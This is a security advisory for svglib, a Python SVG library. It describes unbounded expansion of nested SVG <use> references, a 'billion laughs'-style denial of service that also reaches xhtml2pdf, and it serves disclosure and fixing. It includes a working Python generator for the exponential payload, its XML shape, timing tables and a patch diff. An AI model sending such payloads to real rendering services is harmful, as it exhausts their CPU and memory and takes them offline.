GHSA-555J-QJ3J-C8JV
Vulnerability from github – Published: 2026-11-20 23:47 – Updated: 2026-11-20 23:47Summary
svg2rlg() expands <use> references without any limit on the total number of expansions. Only direct cycles are rejected (CircularRefError). A group containing N <use> elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10.
This is the SVG <use> variant of the XML "billion laughs" attack (the same class as librsvg CVE-2019-20446).
Details
SvgRenderer.renderUse() in src/svglib/svglib.py:
try:
item = self.xlink_href_target(node, group=group)
except CircularRefError:
node.parent.etree_element.remove(node.etree_element)
return group
...
if len(node.getchildren()) == 0:
# Append a copy of the referenced node as the <use> child (if not
# already done)
node.append(copy.deepcopy(item))
self.renderNode(list(node.iter_children())[-1], parent=group)
The referenced node is deep-copied under the <use> element and rendered. Any <use> elements inside the copied subtree go through renderUse() again. xlink_href_target() raises CircularRefError only for a direct cycle, so a reference DAG with fan-out is expanded fully: fan ** levels renders.
Payload shape (fan = 10, levels = 5):
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10">
<defs>
<rect id="l0" width="1" height="1"/>
<g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g>
<g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g>
...
<g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g>
</defs>
<use xlink:href="#l5"/>
</svg>
Impact
Denial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required.
The same happens through xhtml2pdf, which depends on svglib to render SVG images. An HTML document containing <img src="data:image/svg+xml;base64,..."> passed to pisa.CreatePDF() triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications.
Reproduction
Minimal local PoC, non-destructive:
import io, time
from svglib.svglib import svg2rlg
def make(levels, fan=10):
parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>',
'<rect id="l0" width="1" height="1"/>']
for i in range(1, levels + 1):
parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>')
parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>')
return "".join(parts).encode()
for levels in (3, 4, 5):
data = make(levels)
t = time.time()
svg2rlg(io.BytesIO(data))
print(levels, len(data), f"{time.time() - t:.1f}s")
Result on svglib 2.3.0 (commit 5d28646), Python 3.12, macOS:
| levels | SVG size | time | peak RSS |
|---|---|---|---|
| 3 | 919 B | 0.3 s | 42 MiB |
| 4 | 1164 B | 2.9 s | 83 MiB |
| 5 | 1409 B | 34 s | 469 MiB |
svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).
Through xhtml2pdf 0.2.23 with the same SVG embedded as a data: URI <img>:
| levels | HTML size | time | peak RSS |
|---|---|---|---|
| 4 | 1626 B | 6.9 s | 133 MiB |
| 5 | 1954 B | 78.7 s | 499 MiB |
Suggested fix
Count <use> expansions per document and stop expanding beyond a fixed limit:
@@ src/svglib/svglib.py
# A sentinel to identify a situation where a node reference a fragment not yet defined.
DELAYED = object()
+# Upper bound on the number of <use> elements expanded while rendering one document.
+# Nested <use> references multiply (a few hundred bytes can expand to millions of
+# nodes), so rendering stops expanding <use> elements beyond this limit.
+MAX_USE_EXPANSIONS = 10_000
+
@@ class SvgRenderer:
self._external_svgs: dict[str, ExternalSVG] = {}
+ self._use_expansions = 0
self.attrConverter.css_rules = CSSMatcher()
@@ def renderUse(
if group is None:
group = Group()
+ self._use_expansions += 1
+ if self._use_expansions > MAX_USE_EXPANSIONS:
+ if self._use_expansions == MAX_USE_EXPANSIONS + 1:
+ logger.error(
+ "Too many <use> expansions (limit is %d), skipping the rest",
+ MAX_USE_EXPANSIONS,
+ )
+ return group
+
try:
item = self.xlink_href_target(node, group=group)
With the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 <use> elements is far above what normal documents (icon sprites, symbol libraries) need.
Regression test
A regression test TestUseNode::test_use_nested_expansion_is_bounded in tests/test_basic.py renders the 5-level payload and asserts it finishes within 10 seconds.
- Without fix: test fails (30.9 s).
- With fix: test passes (1.8 s).
python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q → 190 passed, 4 skipped. No regressions.
I'm happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory.
Affected versions
<= 2.3.0 (verified on 2.3.0 and 1.5.1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "PyPI",
"name": "svglib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-132275"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T23:47:58Z",
"nvd_published_at": "2026-11-20T17:18:12Z",
"severity": "HIGH"
},
"details": "# Summary\n\n`svg2rlg()` expands `\u003cuse\u003e` references without any limit on the total number of expansions. Only direct cycles are rejected (`CircularRefError`). A group containing N `\u003cuse\u003e` elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10.\n\nThis is the SVG `\u003cuse\u003e` variant of the XML \"billion laughs\" attack (the same class as librsvg CVE-2019-20446).\n\n# Details\n\n`SvgRenderer.renderUse()` in `src/svglib/svglib.py`:\n\n```python\ntry:\n item = self.xlink_href_target(node, group=group)\nexcept CircularRefError:\n node.parent.etree_element.remove(node.etree_element)\n return group\n...\nif len(node.getchildren()) == 0:\n # Append a copy of the referenced node as the \u003cuse\u003e child (if not\n # already done)\n node.append(copy.deepcopy(item))\nself.renderNode(list(node.iter_children())[-1], parent=group)\n```\n\nThe referenced node is deep-copied under the `\u003cuse\u003e` element and rendered. Any `\u003cuse\u003e` elements inside the copied subtree go through `renderUse()` again. `xlink_href_target()` raises `CircularRefError` only for a direct cycle, so a reference DAG with fan-out is expanded fully: `fan ** levels` renders.\n\nPayload shape (fan = 10, levels = 5):\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"10\" height=\"10\"\u003e\n \u003cdefs\u003e\n \u003crect id=\"l0\" width=\"1\" height=\"1\"/\u003e\n \u003cg id=\"l1\"\u003e\u003cuse xlink:href=\"#l0\"/\u003e ... 10 times ... \u003c/g\u003e\n \u003cg id=\"l2\"\u003e\u003cuse xlink:href=\"#l1\"/\u003e ... 10 times ... \u003c/g\u003e\n ...\n \u003cg id=\"l5\"\u003e\u003cuse xlink:href=\"#l4\"/\u003e ... 10 times ... \u003c/g\u003e\n \u003c/defs\u003e\n \u003cuse xlink:href=\"#l5\"/\u003e\n\u003c/svg\u003e\n```\n\n# Impact\n\nDenial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required.\n\nThe same happens through `xhtml2pdf`, which depends on svglib to render SVG images. An HTML document containing `\u003cimg src=\"data:image/svg+xml;base64,...\"\u003e` passed to `pisa.CreatePDF()` triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications.\n\n# Reproduction\n\nMinimal local PoC, non-destructive:\n\n```python\nimport io, time\nfrom svglib.svglib import svg2rlg\n\ndef make(levels, fan=10):\n parts = [\u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"10\" height=\"10\"\u003e\u003cdefs\u003e\u0027,\n \u0027\u003crect id=\"l0\" width=\"1\" height=\"1\"/\u003e\u0027]\n for i in range(1, levels + 1):\n parts.append(f\u0027\u003cg id=\"l{i}\"\u003e\u0027 + f\u0027\u003cuse xlink:href=\"#l{i-1}\"/\u003e\u0027 * fan + \u0027\u003c/g\u003e\u0027)\n parts.append(f\u0027\u003c/defs\u003e\u003cuse xlink:href=\"#l{levels}\"/\u003e\u003c/svg\u003e\u0027)\n return \"\".join(parts).encode()\n\nfor levels in (3, 4, 5):\n data = make(levels)\n t = time.time()\n svg2rlg(io.BytesIO(data))\n print(levels, len(data), f\"{time.time() - t:.1f}s\")\n```\n\nResult on svglib 2.3.0 (commit `5d28646`), Python 3.12, macOS:\n\n| levels | SVG size | time | peak RSS |\n|---|---|---|---|\n| 3 | 919 B | 0.3 s | 42 MiB |\n| 4 | 1164 B | 2.9 s | 83 MiB |\n| 5 | 1409 B | 34 s | 469 MiB |\n\nsvglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB).\n\nThrough xhtml2pdf 0.2.23 with the same SVG embedded as a `data:` URI `\u003cimg\u003e`:\n\n| levels | HTML size | time | peak RSS |\n|---|---|---|---|\n| 4 | 1626 B | 6.9 s | 133 MiB |\n| 5 | 1954 B | 78.7 s | 499 MiB |\n\n# Suggested fix\n\nCount `\u003cuse\u003e` expansions per document and stop expanding beyond a fixed limit:\n\n```diff\n@@ src/svglib/svglib.py\n # A sentinel to identify a situation where a node reference a fragment not yet defined.\n DELAYED = object()\n \n+# Upper bound on the number of \u003cuse\u003e elements expanded while rendering one document.\n+# Nested \u003cuse\u003e references multiply (a few hundred bytes can expand to millions of\n+# nodes), so rendering stops expanding \u003cuse\u003e elements beyond this limit.\n+MAX_USE_EXPANSIONS = 10_000\n+\n@@ class SvgRenderer:\n self._external_svgs: dict[str, ExternalSVG] = {}\n+ self._use_expansions = 0\n self.attrConverter.css_rules = CSSMatcher()\n@@ def renderUse(\n if group is None:\n group = Group()\n \n+ self._use_expansions += 1\n+ if self._use_expansions \u003e MAX_USE_EXPANSIONS:\n+ if self._use_expansions == MAX_USE_EXPANSIONS + 1:\n+ logger.error(\n+ \"Too many \u003cuse\u003e expansions (limit is %d), skipping the rest\",\n+ MAX_USE_EXPANSIONS,\n+ )\n+ return group\n+\n try:\n item = self.xlink_href_target(node, group=group)\n```\n\nWith the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 `\u003cuse\u003e` elements is far above what normal documents (icon sprites, symbol libraries) need.\n\n# Regression test\n\nA regression test `TestUseNode::test_use_nested_expansion_is_bounded` in `tests/test_basic.py` renders the 5-level payload and asserts it finishes within 10 seconds.\n\n* Without fix: test fails (30.9 s).\n* With fix: test passes (1.8 s).\n\n`python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q` \u2192 **190 passed, 4 skipped**. No regressions.\n\nI\u0027m happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory.\n\n# Affected versions\n\n`\u003c= 2.3.0` (verified on 2.3.0 and 1.5.1)",
"id": "GHSA-555j-qj3j-c8jv",
"modified": "2026-11-20T23:47:58Z",
"published": "2026-11-20T23:47:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/deeplook/svglib/security/advisories/GHSA-555j-qj3j-c8jv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-132275"
},
{
"type": "WEB",
"url": "https://github.com/deeplook/svglib/commit/7380d3c3836940fd75f8e203fff80077b7d5a425"
},
{
"type": "PACKAGE",
"url": "https://github.com/deeplook/svglib"
},
{
"type": "WEB",
"url": "https://github.com/deeplook/svglib/releases/tag/v2.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "svglib: Exponential resource consumption via nested \u003cuse\u003e references in svg2rlg"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.